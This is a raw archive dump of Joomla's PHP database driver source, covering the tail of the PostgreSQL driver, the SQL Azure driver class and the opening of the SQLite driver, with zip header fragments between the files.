return pg_num_rows((int) $cur ? $cur : $this->cursor);
}
/**
* Get the current or query, or new JDatabaseQuery object.
*
* @param boolean $new False to return the last query set, True to
return a new JDatabaseQuery object.
* @param boolean $asObj False to return last query as string, true to
get JDatabaseQueryPostgresql object.
*
* @return JDatabaseQuery The current query object or a new object
extending the JDatabaseQuery class.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getQuery($new = false, $asObj = false)
{
if ($new)
{
$this->queryObject = new JDatabaseQueryPostgresql($this);
return $this->queryObject;
}
else
{
if ($asObj)
{
return $this->queryObject;
}
else
{
return $this->sql;
}
}
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by PostgreSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return string An empty char because this function is not supported
by PostgreSQL.
*
* @since 3.0.0
*/
public function getTableCreate($tables)
{
return '';
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table. For
PostgreSQL may start with a schema.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
$tableSub = $this->replacePrefix($table);
$fn = explode('.', $tableSub);
if (count($fn) === 2)
{
$schema = $fn[0];
$tableSub = $fn[1];
}
else
{
$schema = $this->getDefaultSchema();
}
$this->setQuery('
SELECT a.attname AS "column_name",
pg_catalog.format_type(a.atttypid, a.atttypmod) as "type",
CASE WHEN a.attnotnull IS TRUE
THEN \'NO\'
ELSE \'YES\'
END AS "null",
CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT
NULL
THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true)
END as "Default",
CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL
THEN \'\'
ELSE pg_catalog.col_description(a.attrelid, a.attnum)
END AS "comments"
FROM pg_catalog.pg_attribute a
LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND
a.attnum=adef.adnum
LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid
WHERE a.attrelid =
(SELECT oid FROM pg_catalog.pg_class WHERE relname=' .
$this->quote($tableSub) . '
AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE
nspname = ' . $this->quote($schema) . ')
)
AND a.attnum > 0 AND NOT a.attisdropped
ORDER BY a.attnum'
);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->column_name] = preg_replace('/[(0-9)]/',
'', $field->type);
}
}
else
{
foreach ($fields as $field)
{
if (stristr(strtolower($field->type), 'character
varying'))
{
$field->Default = '';
}
if (stristr(strtolower($field->type), 'text'))
{
$field->Default = '';
}
// Do some dirty translation to MySQL output.
// TODO: Come up with and implement a standard across databases.
$result[$field->column_name] = (object) array(
'column_name' => $field->column_name,
'type' => $field->type,
'null' => $field->null,
'Default' => $field->Default,
'comments' => '',
'Field' => $field->column_name,
'Type' => $field->type,
'Null' => $field->null,
// TODO: Improve query above to return primary key info as well
// 'Key' => ($field->PK == '1' ?
'PRI' : '')
);
}
}
/* Change Postgresql's NULL::* type with PHP's null one */
foreach ($fields as $field)
{
if (preg_match('/^NULL::*/', $field->Default))
{
$field->Default = null;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList))
{
// Get the details columns information.
$this->setQuery('
SELECT indexname AS "idxName", indisprimary AS
"isPrimary", indisunique AS "isUnique",
CASE WHEN indisprimary = true THEN
( SELECT \'ALTER TABLE \' || tablename || \' ADD
\' || pg_catalog.pg_get_constraintdef(const.oid, true)
FROM pg_constraint AS const WHERE const.conname=
pgClassFirst.relname )
ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true)
END AS "Query"
FROM pg_indexes
LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname
LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid
WHERE tablename=' . $this->quote($table) . ' ORDER BY
indkey'
);
$keys = $this->loadObjectList();
return $keys;
}
return false;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type=' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ')')
->order('table_name ASC');
$this->setQuery($query);
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the details list of sequences for a table.
*
* @param string $table The name of the table.
*
* @return array An array of sequences specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableSequences($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList))
{
$name = array(
's.relname', 'n.nspname', 't.relname',
'a.attname', 'info.data_type',
'info.minimum_value', 'info.maximum_value',
'info.increment', 'info.cycle_option',
);
$as = array('sequence', 'schema', 'table',
'column', 'data_type', 'minimum_value',
'maximum_value', 'increment',
'cycle_option');
if (version_compare($this->getVersion(), '9.1.0') >= 0)
{
$name[] .= 'info.start_value';
$as[] .= 'start_value';
}
// Get the details columns information.
$query = $this->getQuery(true)
->select($this->quoteName($name, $as))
->from('pg_class AS s')
->join('LEFT', "pg_depend d ON d.objid=s.oid AND
d.classid='pg_class'::regclass AND
d.refclassid='pg_class'::regclass")
->join('LEFT', 'pg_class t ON t.oid=d.refobjid')
->join('LEFT', 'pg_namespace n ON
n.oid=t.relnamespace')
->join('LEFT', 'pg_attribute a ON a.attrelid=t.oid
AND a.attnum=d.refobjsubid')
->join('LEFT', 'information_schema.sequences AS info
ON info.sequence_name=s.relname')
->where("s.relkind='S' AND d.deptype='a'
AND t.relname=" . $this->quote($table));
$this->setQuery($query);
$seq = $this->loadObjectList();
return $seq;
}
return false;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$version = pg_version($this->connection);
return $version['server'];
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
* To be called after the INSERT statement, it's MANDATORY to have a
sequence on
* every primary key table.
*
* To get the auto incremented value it's possible to call this
function after
* INSERT INTO query, or use INSERT INTO with RETURNING clause.
*
* @example with insertid() call:
* $query = $this->getQuery(true)
* ->insert('jos_dbtest')
* ->columns('title,start_date,description')
* ->values("'testTitle2nd','1971-01-01','testDescription2nd'");
* $this->setQuery($query);
* $this->execute();
* $id = $this->insertid();
*
* @example with RETURNING clause:
* $query = $this->getQuery(true)
* ->insert('jos_dbtest')
* ->columns('title,start_date,description')
* ->values("'testTitle2nd','1971-01-01','testDescription2nd'")
* ->returning('id');
* $this->setQuery($query);
* $id = $this->loadResult();
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
$insertQuery = $this->getQuery(false, true);
$table = $insertQuery->__get('insert')->getElements();
/* find sequence column name */
$colNameQuery = $this->getQuery(true);
$colNameQuery->select('column_default')
->from('information_schema.columns')
->where('table_name=' .
$this->quote($this->replacePrefix(str_replace('"',
'', $table[0]))), 'AND')
->where("column_default LIKE '%nextval%'");
$this->setQuery($colNameQuery);
$colName = $this->loadRow();
$changedColName = str_replace('nextval', 'currval',
$colName);
$insertidQuery = $this->getQuery(true);
$insertidQuery->select($changedColName);
$this->setQuery($insertidQuery);
$insertVal = $this->loadRow();
return $insertVal[0];
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
* @return JDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($tableName)
{
$this->transactionStart();
$this->setQuery('LOCK TABLE ' .
$this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE
MODE')->execute();
return $this;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->limit . ' OFFSET ' .
$this->offset;
}
if (!is_resource($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
if (is_object($this->cursor))
{
// Avoid warning if result already freed by third-party library
@$this->freeResult();
}
$memoryBefore = memory_get_usage();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @pg_query($this->connection, $query);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
$this->callStacks[count($this->callStacks) -
1][0]['memory'] = array(
$memoryBefore,
memory_get_usage(),
is_resource($this->cursor) ? $this->getNumRows($this->cursor)
: null,
);
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
null, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg);
}
}
return $this->cursor;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by PostgreSQL.
* @param string $prefix Not used by PostgreSQL.
*
* @return JDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
// Origin Table does not exist
if (!in_array($oldTable, $tableList))
{
// Origin Table not found
throw new RuntimeException('Table not found in Postgresql
database.');
}
else
{
/* Rename indexes */
$this->setQuery(
'SELECT relname
FROM pg_class
WHERE oid IN (
SELECT indexrelid
FROM pg_index, pg_class
WHERE pg_class.relname=' . $this->quote($oldTable, true) .
'
AND pg_class.oid=pg_index.indrelid );'
);
$oldIndexes = $this->loadColumn();
foreach ($oldIndexes as $oldIndex)
{
$changedIdxName = str_replace($oldTable, $newTable, $oldIndex);
$this->setQuery('ALTER INDEX ' .
$this->escape($oldIndex) . ' RENAME TO ' .
$this->escape($changedIdxName));
$this->execute();
}
/* Rename sequence */
$this->setQuery(
'SELECT relname
FROM pg_class
WHERE relkind = \'S\'
AND relnamespace IN (
SELECT oid
FROM pg_namespace
WHERE nspname NOT LIKE \'pg_%\'
AND nspname != \'information_schema\'
)
AND relname LIKE \'%' . $oldTable . '%\' ;'
);
$oldSequences = $this->loadColumn();
foreach ($oldSequences as $oldSequence)
{
$changedSequenceName = str_replace($oldTable, $newTable, $oldSequence);
$this->setQuery('ALTER SEQUENCE ' .
$this->escape($oldSequence) . ' RENAME TO ' .
$this->escape($changedSequenceName));
$this->execute();
}
/* Rename table */
$this->setQuery('ALTER TABLE ' .
$this->escape($oldTable) . ' RENAME TO ' .
$this->escape($newTable));
$this->execute();
}
return true;
}
/**
* Selects the database, but redundant for PostgreSQL
*
* @param string $database Database name to select.
*
* @return boolean Always true
*
* @since 3.0.0
*/
public function select($database)
{
return true;
}
/**
* Custom settings for UTF support
*
* @return integer Zero on success, -1 on failure
*
* @since 3.0.0
*/
public function setUtf()
{
$this->connect();
if (!function_exists('pg_set_client_encoding'))
{
return -1;
}
return pg_set_client_encoding($this->connection, 'UTF8');
}
/**
* This function return a field value as a prepared string to be used in a
SQL statement.
*
* @param array $columns Array of table's column returned by
::getTableColumns.
* @param string $fieldName The table field's name.
* @param string $fieldValue The variable value to quote and return.
*
* @return string The quoted string.
*
* @since 3.0.0
*/
public function sqlValue($columns, $fieldName, $fieldValue)
{
switch ($columns[$fieldName])
{
case 'boolean':
$val = 'NULL';
if ($fieldValue == 't')
{
$val = 'TRUE';
}
elseif ($fieldValue == 'f')
{
$val = 'FALSE';
}
break;
case 'bigint':
case 'bigserial':
case 'integer':
case 'money':
case 'numeric':
case 'real':
case 'smallint':
case 'serial':
case 'numeric,':
$val = strlen($fieldValue) == 0 ? 'NULL' : $fieldValue;
break;
case 'date':
case 'timestamp without time zone':
if (empty($fieldValue))
{
$fieldValue = $this->getNullDate();
}
$val = $this->quote($fieldValue);
break;
default:
$val = $this->quote($fieldValue);
break;
}
return $val;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($savepoint))->execute();
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return pg_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return pg_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return pg_fetch_object(is_null($cursor) ? $this->cursor : $cursor,
null, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
pg_free_result($cursor ? $cursor : $this->cursor);
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$columns = $this->getTableColumns($table);
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
// Ignore any internal fields or primary keys with value 0.
if (($k[0] == '_') || ($k == $key && (($v === 0) ||
($v === '0'))))
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->sqlValue($columns, $k, $v);
}
// Create the base insert statement.
$query = $this->getQuery(true)
->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
$retVal = false;
if ($key)
{
$query->returning($key);
// Set the query and execute the insert.
$this->setQuery($query);
$id = $this->loadResult();
if ($id)
{
$object->$key = $id;
$retVal = true;
}
}
else
{
// Set the query and execute the insert.
$this->setQuery($query);
if ($this->execute())
{
$retVal = true;
}
}
return $retVal;
}
/**
* Test to see if the PostgreSQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return function_exists('pg_connect');
}
/**
* Returns an array containing database's table list.
*
* @return array The database's table list.
*
* @since 3.0.0
*/
public function showTables()
{
$this->connect();
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type = ' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ' )');
$this->setQuery($query);
$tableList = $this->loadColumn();
return $tableList;
}
/**
* Get the substring position inside a string
*
* @param string $substring The string being sought
* @param string $string The string/column being searched
*
* @return integer The position of $substring in $string
*
* @since 3.0.0
*/
public function getStringPositionSql($substring, $string)
{
$this->connect();
$query = "SELECT POSITION( $substring IN $string )";
$this->setQuery($query);
$position = $this->loadRow();
return $position['position'];
}
/**
* Generate a random value
*
* @return float The random generated number
*
* @since 3.0.0
*/
public function getRandom()
{
$this->connect();
$this->setQuery('SELECT RANDOM()');
$random = $this->loadAssoc();
return $random['random'];
}
/**
* Get the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 3.0.0
*/
public function getAlterDbCharacterSet($dbName)
{
$query = 'ALTER DATABASE ' . $this->quoteName($dbName) .
' SET CLIENT_ENCODING TO ' . $this->quote('UTF8');
return $query;
}
/**
* Get the query string to create new Database in correct PostgreSQL
syntax.
*
* @param object $options object coming from "initialise"
function to pass user and database name to database driver.
* @param boolean $utf True if the database supports the UTF-8
character set, not used in PostgreSQL "CREATE DATABASE" query.
*
* @return string The query that creates database, owned by
$options['user']
*
* @since 3.0.0
*/
public function getCreateDbQuery($options, $utf)
{
$query = 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' OWNER ' .
$this->quoteName($options->db_user);
if ($utf)
{
$query .= ' ENCODING ' . $this->quote('UTF-8');
}
return $query;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 3.0.0
*/
public function replacePrefix($query, $prefix = '#__')
{
$query = trim($query);
if (strpos($query, '\''))
{
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'currval'))
{
$query = explode('currval', $query);
for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax;
$nIndex += 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('currval', $query);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'nextval'))
{
$query = explode('nextval', $query);
for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax;
$nIndex += 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('nextval', $query);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'setval'))
{
$query = explode('setval', $query);
for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax;
$nIndex += 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('setval', $query);
}
$explodedQuery = explode('\'', $query);
for ($nIndex = 0, $nIndexMax = count($explodedQuery); $nIndex <
$nIndexMax; $nIndex += 2)
{
if (strpos($explodedQuery[$nIndex], $prefix))
{
$explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix,
$explodedQuery[$nIndex]);
}
}
$replacedQuery = implode('\'', $explodedQuery);
}
else
{
$replacedQuery = str_replace($prefix, $this->tablePrefix, $query);
}
return $replacedQuery;
}
/**
* Method to release a savepoint.
*
* @param string $savepointName Savepoint's name to release
*
* @return void
*
* @since 3.0.0
*/
public function releaseTransactionSavepoint($savepointName)
{
$this->connect();
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($this->escape($savepointName)));
$this->execute();
}
/**
* Method to create a savepoint.
*
* @param string $savepointName Savepoint's name to create
*
* @return void
*
* @since 3.0.0
*/
public function transactionSavepoint($savepointName)
{
$this->connect();
$this->setQuery('SAVEPOINT ' .
$this->quoteName($this->escape($savepointName)));
$this->execute();
}
/**
* Unlocks tables in the database, this command does not exist in
PostgreSQL,
* it is automatically done on commit or rollback.
*
* @return JDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
$this->transactionCommit();
return $this;
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to update.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param array $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean True on success.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$columns = $this->getTableColumns($table);
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Only process scalars that are not internal fields.
if (is_array($v) or is_object($v) or $k[0] == '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key))
{
$key_val = $this->sqlValue($columns, $k, $v);
$where[] = $this->quoteName($k) . '=' . $key_val;
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we want to update nulls then set it.
if ($nulls)
{
$val = 'NULL';
}
// If the value is null and we do not want to update nulls then ignore
this field.
else
{
continue;
}
}
// The field is not null so we prep it for update.
else
{
$val = $this->sqlValue($columns, $k, $v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*
* @throws \JDatabaseExceptionExecuting Thrown if the global cursor is
false indicating a query failed
*/
protected function getErrorNumber()
{
if ($this->cursor === false)
{
$this->errorMsg = pg_last_error($this->connection);
throw new JDatabaseExceptionExecuting($this->sql,
$this->errorMsg);
}
return (int) pg_result_error_field($this->cursor, PGSQL_DIAG_SQLSTATE)
. ' ';
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errorMessage = (string) pg_last_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
return "decode('" . bin2hex($data) . "',
'hex')";
}
/**
* Internal function to get the name of the default schema for the current
PostgreSQL connection.
* That is the schema where tables are created by Joomla.
*
* @return string
*
* @since 3.9.24
*/
private function getDefaultSchema()
{
// Supported since PostgreSQL 7.3
$this->setQuery('SELECT (current_schemas(false))[1]');
return $this->loadResult();
}
}
PKHn�[�KKXRRdatabase/driver/sqlazure.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL Server database driver
*
* @link
https://azure.microsoft.com/en-us/documentation/services/sql-database/
* @since 3.0.0
*/
class JDatabaseDriverSqlazure extends JDatabaseDriverSqlsrv
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'sqlazure';
}
PKHn�[�s��//database/driver/sqlite.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQLite database driver
*
* @link https://www.php.net/pdo
* @since 3.0.0
*/
class JDatabaseDriverSqlite extends JDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'sqlite';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'sqlite';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '`';
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
parent::connect();
$this->connection->sqliteCreateFunction(
'ROW_NUMBER',
function($init = null)
{
static $rownum, $partition;
if ($init !== null)
{
$rownum = $init;
$partition = null;
return $rownum;
}
$args = func_get_args();
array_shift($args);
$partitionBy = $args ? implode(',', $args) : null;
if ($partitionBy === null || $partitionBy === $partition)
{
$rownum++;
}
else
{
$rownum = 1;
$partition = $partitionBy;
}
return $rownum;
}
);
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
$this->freeResult();
$this->connection = null;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $query->quoteName($tableName));
$this->execute();
return $this;
}
/**
* Method to escape a string for usage in an SQLite statement.
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
return SQLite3::escapeString($text);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
*/
public function getCollation()
{
return $this->charset;
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return $this->charset;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* Note: Doesn't appear to have support in SQLite
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
return $tables;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
